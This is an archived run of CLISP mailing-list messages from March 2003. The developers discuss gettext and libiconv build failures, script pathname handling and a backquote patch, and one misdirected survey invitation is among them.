(helo=212.16.216.88) by mx3.mail.ru with esmtp (Exim SMTP.3) id 18xlAl-0003Md-00 for clisp-list@lists.sourceforge.net; Tue, 25 Mar 2003 12:56:47 +0300 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1714350856.20030325180858@inbox.ru> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] linux: unable to build with gettext Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 01:57:14 2003 X-Original-Date: Tue, 25 Mar 2003 18:08:58 +1000 Hi, Alexander Semashko told me he was unable to build clisp 2.30 (not CVS) under Linux (Alt Linux) with gettext. I.e. clisp builds, but *features* doesn't contain GETTEXT. He uses gettext 0.11.5. He claims that there's no -DNO_GETTEXT in makefile. How can it be ? I have no problem with FreeBSD & clisp CVS. -- Best regards, Arseny mailto:ampy@inbox.ru From ampy@inbox.ru Tue Mar 25 01:57:01 2003 Received: from mx3.mail.ru ([194.67.57.13]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xlAx-0002pj-00 for ; Tue, 25 Mar 2003 01:56:59 -0800 Received: from [212.16.216.88] (helo=212.16.216.88) by mx3.mail.ru with esmtp (Exim SMTP.3) id 18xlAq-0003Md-00; Tue, 25 Mar 2003 12:56:52 +0300 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1805525895.20030325182833@inbox.ru> To: Sam Steingold CC: "Yadin Y. Goldschmidt" , clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] win32 cvs head binaries In-reply-To: References: <270864328.1048511201@GOLDSCHMIDT.phyast.pitt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 01:58:14 2003 X-Original-Date: Tue, 25 Mar 2003 18:28:33 +1000 >> I successfully recompiled the patched cygwin libiconv library. It nows >> loads type.lisp without any changes (I did not apply the patch, should >> I?) > it depends on whether you want to help us with the problem you had > before. > if you do want to help us, you need to __remove__ libiconv, apply the > patch and try to build again. > the task is __not__ to achieve a successful build (yet :-), but to, > first, see what encodings are missing, and, then, later, with a > _different_ patch, to make clisp load type.lisp without libiconv. Sam, I'm happy to inform you - there's no problem with cygwin and libiconv except the latter has to be rebuilt. No missing encodings! Unix error 2 = EILSEQ or something, it is not a file error. It is acceptable in the place it occurs. I had already spent a day on this so no need to repeat it (except if one wants - its another deal). -- Best regards, Arseny mailto:ampy@inbox.ru From danswartz@360translations.com Tue Mar 25 06:14:20 2003 Received: from [65.206.46.222] (helo=192.168.0.100) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xpBx-0006C4-00 for ; Tue, 25 Mar 2003 06:14:18 -0800 From: "Daniel B. Swartz, Ph.D., CI, CT" To: Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 06:15:09 2003 X-Original-Date: Tue, 25 Mar 2003 09:14:11 -0500 March 25, 2003 Dear Sir or Madam: You have been selected to participate in post-doctoral research on job satisfaction and burnout among interpreters for the Deaf. If you are hearing, Deaf, or hard-of-hearing, and interpret at least part time (sign language, cued, oral, etc.), you qualify to participate. If you are not an interpreter for the Deaf, and I have made an error in selecting you - please delete this email message and accept my apology for the inconvenience. If you accept a duplicate email I apologize for the inconvenience. Your email address was obtained from the Registry of Interpreters for the Deaf, Inc. (database). To complete the online survey please go to (cut and paste this URL if it is not hyperlinked). The survey will take approximately 25-50 minutes to complete. There is a small chance that your Internet Service Provider (ISP) will have difficulty with this site. If that is the case I am sorry for this inconvenience - it is beyond my control. NOTE: I have been experiencing sporadic problems with our website/host service. If you cannot load the survey at any given time, try back at a later time. The web host has been informed of this problem and is working on it. All demographic information collected is stored in a secure database. Your name will not be collected. The purpose of this study is to describe how you, “The Interpreter,” feel about your work and to identify methods for improving job satisfaction and lessening job burnout. Your participation in this study is completely voluntary, and you can withdraw at any time. However, if you decide to participate in this study, please complete all parts of the questionnaire and know that your responses will be completely anonymous. If you completed this questionnaire 4 years ago during the initial research, I encourage you to complete it again at this time. For interpreters outside of North America, I strongly encourage your participation. One question in the survey will ask you for your salary information (anonymous). Please convert to either US or Canadian dollars by going to . Results of this research will be published in late 2003 both online and through professional journals. If you are a trainer, interpreter educator, or employer of interpreters, you will be especially interested in my previous research in this area. My findings highlight predictors for optimal job satisfaction and lessening the effects of burnout. You may visit for information on obtaining a copy of published research. Thank you in advance for your participation, Daniel B. Swartz, Ph.D., CI, CT Certified Interpreter for the Deaf Investigator To complete the online survey please go to (cut and paste this URL if it is not hyperlinked). From yadin+@pitt.edu Tue Mar 25 06:25:45 2003 Received: from mb1i0.ns.pitt.edu ([136.142.186.35]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xpN0-0004ZN-00 for ; Tue, 25 Mar 2003 06:25:42 -0800 Received: from GOLDSCHMIDT.phyast.pitt.edu ([136.142.111.76]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KTXQ8E9B1Y000568@mb1i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Tue, 25 Mar 2003 09:25:32 EST From: "Yadin Y. Goldschmidt" Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries In-reply-to: Originator-info: login-id=yadin; server=imap.pitt.edu To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Message-id: <344025343.1048584332@GOLDSCHMIDT.phyast.pitt.edu> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 06:26:25 2003 X-Original-Date: Tue, 25 Mar 2003 09:25:32 -0500 Sam, I did it already but to be sure I did it again. I removed libiconv completely and compiled clisp. It chokes on type.lisp with signal 11. This is true both for the patched type.lisp and for the unpatched type.lisp. If I reinstall the newly recompiled patched libiconv then it goes up to compiler.lisp and dies with signal 11. Yadin. --On Monday, March 24, 2003 2:26 PM -0500 Sam Steingold wrote:r >> * In message <270864328.1048511201@GOLDSCHMIDT.phyast.pitt.edu> >> * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries" >> * Sent on Mon, 24 Mar 2003 13:06:42 -0500 >> * Honorable "Yadin Y. Goldschmidt" writes: >> >> I successfully recompiled the patched cygwin libiconv library. It nows >> loads type.lisp without any changes (I did not apply the patch, should >> I?) > > it depends on whether you want to help us with the problem you had > before. > if you do want to help us, you need to __remove__ libiconv, apply the > patch and try to build again. > the task is __not__ to achieve a successful build (yet :-), but to, > first, see what encodings are missing, and, then, later, with a > _different_ patch, to make clisp load type.lisp without libiconv. > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux > > > Whether pronounced > "leenooks" or "line-uks", it's better than Windows. From yadin+@pitt.edu Tue Mar 25 06:29:51 2003 Received: from mb1i0.ns.pitt.edu ([136.142.186.35]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xpR0-0005fy-00 for ; Tue, 25 Mar 2003 06:29:50 -0800 Received: from GOLDSCHMIDT.phyast.pitt.edu ([136.142.111.76]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KTXQDHYNIQ0008OP@mb1i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Tue, 25 Mar 2003 09:29:38 EST From: "Yadin Y. Goldschmidt" Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries In-reply-to: Originator-info: login-id=yadin; server=imap.pitt.edu To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Message-id: <344272234.1048584579@GOLDSCHMIDT.phyast.pitt.edu> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 06:30:34 2003 X-Original-Date: Tue, 25 Mar 2003 09:29:39 -0500 I forgot to mention that (without libiconv) there are no comments or error messages when it dies loading type.lisp just : signal 11. --On Monday, March 24, 2003 2:26 PM -0500 Sam Steingold wrote:r >> * In message <270864328.1048511201@GOLDSCHMIDT.phyast.pitt.edu> >> * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries" >> * Sent on Mon, 24 Mar 2003 13:06:42 -0500 >> * Honorable "Yadin Y. Goldschmidt" writes: >> >> I successfully recompiled the patched cygwin libiconv library. It nows >> loads type.lisp without any changes (I did not apply the patch, should >> I?) > > it depends on whether you want to help us with the problem you had > before. > if you do want to help us, you need to __remove__ libiconv, apply the > patch and try to build again. > the task is __not__ to achieve a successful build (yet :-), but to, > first, see what encodings are missing, and, then, later, with a > _different_ patch, to make clisp load type.lisp without libiconv. > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux > > > Whether pronounced > "leenooks" or "line-uks", it's better than Windows. --------------------------------------------------------------------------- Yadin Y. Goldschmidt voice: (412)624-9024 Professor of Physics fax: (412)624-9163 Dept. of Physics and Astronomy http://www.pitt.edu/~yadin University of Pittsburgh mailto:yadin@pitt.edu Pittsburgh PA 15260 --------------------------------------------------------------------------- From sds@gnu.org Tue Mar 25 07:09:58 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xq3o-0005z3-00 for ; Tue, 25 Mar 2003 07:09:56 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030325150949.NBGJ14673.out005.verizon.net@loiso.podval.org>; Tue, 25 Mar 2003 09:09:49 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2PFB0Tx024471; Tue, 25 Mar 2003 10:11:00 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2PFAxD4024467; Tue, 25 Mar 2003 10:10:59 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] linux: unable to build with gettext References: <1714350856.20030325180858@inbox.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1714350856.20030325180858@inbox.ru> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.42.128] at Tue, 25 Mar 2003 09:09:49 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 07:10:37 2003 X-Original-Date: 25 Mar 2003 10:10:59 -0500 > * In message <1714350856.20030325180858@inbox.ru> > * On the subject of "[clisp-list] linux: unable to build with gettext" > * Sent on Tue, 25 Mar 2003 18:08:58 +1000 > * Honorable Arseny Slobodjuck writes: > > Alexander Semashko told me he was unable to build clisp 2.30 (not > CVS) under Linux (Alt Linux) with gettext. I.e. clisp builds, but > *features* doesn't contain GETTEXT. He uses gettext 0.11.5. He > claims that there's no -DNO_GETTEXT in makefile. How can it be ? I > have no problem with FreeBSD & clisp CVS. $ grep -i gettext config.log configure:4535: checking for xgettext configure:4563: result: /usr/bin/xgettext configure:4673: checking for GNU gettext in libc ac_cv_path_XGETTEXT=/usr/bin/xgettext gt_cv_func_gnugettext2_libc=yes XGETTEXT='/usr/bin/xgettext' #define HAVE_DCGETTEXT 1 #define HAVE_GETTEXT 1 $ what does he have there? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux There are two kinds of egotists: 1) Those who admit it 2) The rest of us From sds@gnu.org Tue Mar 25 07:20:05 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xqDd-0001vk-00 for ; Tue, 25 Mar 2003 07:20:05 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop017.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030325151956.NLLE15296.pop017.verizon.net@loiso.podval.org>; Tue, 25 Mar 2003 09:19:56 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2PFL6Tx024508; Tue, 25 Mar 2003 10:21:06 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2PFL1oX024504; Tue, 25 Mar 2003 10:21:01 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pname References: <20030324220649.D5A0997A85@thalassa.informatimago.com> <15999.50904.630259.902128@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15999.50904.630259.902128@thalassa.informatimago.com> Message-ID: Lines: 57 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.42.128] at Tue, 25 Mar 2003 09:19:55 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 07:21:01 2003 X-Original-Date: 25 Mar 2003 10:21:01 -0500 > * In message <15999.50904.630259.902128@thalassa.informatimago.com> > * On the subject of "Re: [clisp-list] pname" > * Sent on Tue, 25 Mar 2003 04:02:48 +0100 > * Honorable Pascal Bourguignon writes: > > Sam Steingold writes: > > > * Honorable Pascal Bourguignon writes: > > > > > > (DEFPARAMETER PNAME (FILE-NAMESTRING *LOAD-PATHNAME*)) > > > > (DEFPARAMETER PNAME #.(FILE-NAMESTRING *LOAD-PATHNAME*)) > > This does not work no more. In both cases, when the file where these > statements are placed is not the script file, but a file loaded from > the loaded/run script, *LOAD-PATHNAME* contains the path to the file > loaded from the loaded/run script, not the path to the script. you are confused. if you put the #. version in your script and compile it, pname will be the name of the script even after you concat it with other files. e.g. $ cat script1.fas script2.fas > script.fas $ clisp script.fas "script1.lisp" "script2.lisp" $ head -200 script*.lisp ==> script1.lisp <== (defparameter *myname* #.(file-namestring (or *load-pathname* *compile-file-pathname*))) (print *myname*) ==> script2.lisp <== (defparameter *myname* #.(file-namestring (or *load-pathname* *compile-file-pathname*))) (print *myname*) $ > Thank you for the pointer. (I'm affraid a lot going into the sources > of clisp because of them being programmed IMHO in lower level than C > (all these pushSTACK/popSTACK etc)). this is actually "pseudolisp" :-) > # (DEFPARAMETER *SCRIPT-IS-RUNNING* T) ;; new > # (DEFPARAMETER *SCRIPT-NAME* argv_execute_file) ;; new you can achieve the same result with the code I suggested. I see no need for this. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If a train station is a place where a train stops, what's a workstation? From kaz@footprints.net Tue Mar 25 09:25:43 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xsAj-0001jB-00 for ; Tue, 25 Mar 2003 09:25:13 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18xsAC-0005dS-00; Tue, 25 Mar 2003 09:24:40 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Actually ,,@ and ,@,@ does work in existing CLISP! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 09:26:17 2003 X-Original-Date: Tue, 25 Mar 2003 09:24:40 -0800 (PST) Try it! (eval ``(1 ,,@'((list 2 3) (list 4 5)) 6)) => (1 (2 3) (4 5) 6) (eval ``(1 ,@,@'((list 2 3) (list 4 5)) 6)) => (1 2 3 4 5 6) (eval (eval ```(0 ,@,@,@'((list ''(1) ''(2)) (list ''(3) ''(4))) 5))) => (0 1 2 3 4 5) So are the implementation notes are simply wrong in this regard, or is there some subtlety that I might be missing? Anyway, I have completed the patch. It builds cleanly, the entire testsuite passes, the ,@,@ stuff works, unquoting over #A arrays is disallowed. My confidence in the implementation is quite high. All I need to do is add a whole lot more tests to tests/backquot.tst, and then someone needs to take a look at the error messages in src/new-backquote.lisp and translate them to French, German, etc. http://users.footprints.net/~kaz/clisp-backquote-patch.html From pascal@informatimago.com Tue Mar 25 09:52:57 2003 Received: from [213.220.35.225] (helo=thalassa.informatimago.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xsbT-0000Ra-00 for ; Tue, 25 Mar 2003 09:52:53 -0800 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 74B8124E2B; Tue, 25 Mar 2003 18:52:37 +0100 (CET) From: Pascal Bourguignon Message-ID: <16000.38757.440342.571239@thalassa.informatimago.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pname In-Reply-To: References: <20030324220649.D5A0997A85@thalassa.informatimago.com> <15999.50904.630259.902128@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.3.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 09:53:22 2003 X-Original-Date: Tue, 25 Mar 2003 18:52:37 +0100 Sam Steingold writes: > > * In message <15999.50904.630259.902128@thalassa.informatimago.com> > > * On the subject of "Re: [clisp-list] pname" > > * Sent on Tue, 25 Mar 2003 04:02:48 +0100 > > * Honorable Pascal Bourguignon writes: > > > > Sam Steingold writes: > > > > * Honorable Pascal Bourguignon writes: > > > > > > > > (DEFPARAMETER PNAME (FILE-NAMESTRING *LOAD-PATHNAME*)) > > >=20 > > > (DEFPARAMETER PNAME #.(FILE-NAMESTRING *LOAD-PATHNAME*)) > >=20 > > This does not work no more. In both cases, when the file where these > > statements are placed is not the script file, but a file loaded from > > the loaded/run script, *LOAD-PATHNAME* contains the path to the file > > loaded from the loaded/run script, not the path to the script. >=20 > you are confused. > if you put the #. version in your script and compile it, pname will be > the name of the script even after you concat it with other files. No, I just did not explain myself clearly enough. I'm intending to create a package exporting functions and variables to be used in scripts. =20 The source of this package will be in a file named 'pjb-script.lisp'. There will be scripts in files named 'script1', 'script2', ... 'scriptN'. Each of these 'scriptI' files will contain: (require 'pjb-script) ;; or if you will: (load "pjb-script") ;; and stuff like: (when (pjb-script:is-running) (format t "~A: my args are: ~W~%"=20 pjb-script:name pjb-script:arguments)) The point is to avoid inserting in _duplicate_ in all these 'scriptI' files stuff that is rather _encapsulated_ and _hidden_ in 'pjb-script.lisp' from which a nice _abstracted_ _interface_ is exported. (I've underlined some keywords that should ring a bell). That means, that the only thing that should need to be present in all the scripts is a mere: (require 'pjb-script) See note(*) below. So whatever the incantation proposed, it has to be designed to be put in the file named 'pjb-script.lisp', and to work in the following conditions (with sample of what is expected): - when pjb-script.lisp or pjb-script.fas is loaded from a normal clisp process: $ clisp [1]> (load "pjb-script") T [2]> (script:is-running) NIL =20 - when pjb-script.lisp or pjb-script.fas is loaded from a "loading" script loaded (load "scriptI) from a normal clisp process. $ clisp [1]> (load "scriptI") running=3DNIL name=3DNIL path=3DNIL=20 T [2] - when pjb-script.lisp or pjb-script.fas is loaded from a "running" script invoked via the '#!' mechanism. -------(scriptI)-------- #!/usr/bin/clisp (load "pjb-script") (format t "running=3D~A name=3D~A path=3D~A~%" (script:is-running) script:name script:path) (when (script:is-running) (format t "doing script stuff...~%"= )) ------------------------ $ /some/path/scriptI running=3DT name=3DscriptI path=3D/some/path/scriptI doing script stuff... =20 - when pjb-script.fas is concatenated to scriptI.fas into an '#!' executable and "run". =20 $ mv scriptI scriptI.lisp $ clisp -q -c scriptI.lisp $ echo '#!/usr/bin/clisp' > scriptI $ cat pjb-script.fas >> scriptI $ cat scriptI.fas >> scriptI $ chmod 755 scriptI $ ./scriptI running=3DT name=3DscriptI path=3D./scriptI doing script stuff... Notably, in the last case, the value of *LOAD-PATHNAME* while loading/evaluating the forms copied from pjb-script.fas IS NOT 'pjb-script.fas' but 'scriptI', while in all the other cases, while loading/evaluating the forms from pjb-script.lisp (or pjb-script.fas), the value of *LOAD-PATHNAME* is pjb-script.lisp (or pjb-script.fas). What's more, in both case, what I'm interested in, it's not 'pjb-script.lisp', but 'scriptI'. =20 > > Thank you for the pointer. (I'm affraid a lot going into the sources > > of clisp because of them being programmed IMHO in lower level than C > > (all these pushSTACK/popSTACK etc)). >=20 > this is actually "pseudolisp" :-) >=20 > > # (DEFPARAMETER *SCRIPT-IS-RUNNING* T) ;; new > > # (DEFPARAMETER *SCRIPT-NAME* argv_execute_file) ;; new >=20 > you can achieve the same result with the code I suggested. > I see no need for this. Right now, to implement pjb-script.lisp, I must add to my .clisprc.lisp: ;; Awfull trick for pjb-script:is-running=20 ;; and to be able to load clisp scripts: (DEFUN PJB-EXECUTABLE-READER (A B C) (SYS::UNIX-EXECUTABLE-READER A B C)) (SET-DISPATCH-MACRO-CHARACTER #\# #\! (FUNCTION PJB-EXECUTABLE-READER)) and I must add a call to a PJB-SCRIPT:INITIALIZE function in all my scripts (since this function is evaluated when we're "running"/loading the 'scriptI' file, the value of *LOAD-PATHNAME* is correcty "scriptI" which I can save for later reference). So you can see the two problems that should motivate the addition of the EXT:*SCRIPT-IS-RUNNING* and EXT:*SCRIPT-NAME* variables: - the implementation of a PJB-SCRIPT:IS-RUNNING feature, and the will to be able to load clisp code in '#!' scripts imposes the insertion of a ugly hack in the .clisprc.lisp of the users. - and the lack of *SCRIPT-NAME* imposes the gratuituous insertion in all the scripts of (PJB-SCRIPT:INITALIZE). Or, if you will, just look at the code around the two new "pseudolisp" lines I proposed. You may notice that there is a strong unwaranted asymetry in the processing of of argv[]: why argv[0] is not saved while argv[1]...argv[argc] is saved as EXT:*ARGS* ? (*) Note: It should be obvious that no code should be duplicated for the pain to maintain it. The importance of the other characteristics, encapsulation and hidding the implementation details behind an abstracted interface can be seen if you realize that it's the only way to be able to switch easily of common-lisp implementation. The name of the package in 'pjb-script.lisp' is actually COM.INFORMATIMAGO.CLISP.SCRIPT, with two nicknames: PJB-SCRIPT and SCRIPT. Then I'll have a package named COM.INFORMATIMAGO.CMUCL.SCRIPT, with a nickname PJB-SCRIPT and SCRIPT in a file named pjb-script.lisp, but in the directory for cmucl libraries. (In my script, the package named used everywhere is actually "SCRIPT"). So only changing the #! line would have the script run by another lisp. Anybody who is to develop serrious applications can only use pure, portable, Common-Lisp and modules that are portable to the various target implementations used by their customers or users.=20 =20 In particular, I'm totally against using the #+/#- features. This is like the #ifdef/#endif of C and this leads to unmaintenable mess. Well, their use could be restricted to some low-level package, but I'm witnessing that they're rather used everywhere. For example, in pseudo (a scheme in Common-Lisp): $ egrep -e '[#][-+]' *.lisp|sed -e 's/:.*//'|sort -u|wc -l 8 $ ls -l *.lisp | wc -l 13 On the contrary, I'd advocate for the definition of low-level interfaces, implemented on each target platform encapsulating the specifics of the platform into a low-level package exporting that same interface. These few low-level interface packages all with the same interface can then be used to implement the application independantly of the target environment. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From sds@gnu.org Tue Mar 25 12:10:54 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xul4-00089j-00 for ; Tue, 25 Mar 2003 12:10:54 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030325201047.PKED20945.out006.verizon.net@loiso.podval.org>; Tue, 25 Mar 2003 14:10:47 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2PKBwTx031278; Tue, 25 Mar 2003 15:11:58 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2PKBvCX031274; Tue, 25 Mar 2003 15:11:57 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] Current CVS observations References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.42.128] at Tue, 25 Mar 2003 14:10:46 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 12:11:24 2003 X-Original-Date: 25 Mar 2003 15:11:57 -0500 > * In message > * On the subject of "Re: [clisp-list] Current CVS observations" > * Sent on Mon, 24 Mar 2003 16:13:31 +0000 > * Honorable Christophe Rhodes writes: > > This time, when I tried building with --with-debug, the build seemed > to hang while running interpreted.mem to compile the world... when I world? you mean "-c compiler.lisp"? this can take a long time. > attached gdb to it, it seemed to be in the process of trying to print > a backtrace(?) weird. > [11]> (foo :bar 1) > > *** - foo ; not as expected fixed, thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Save your burned out bulbs for me, I'm building my own dark room. From sds@gnu.org Tue Mar 25 12:46:30 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 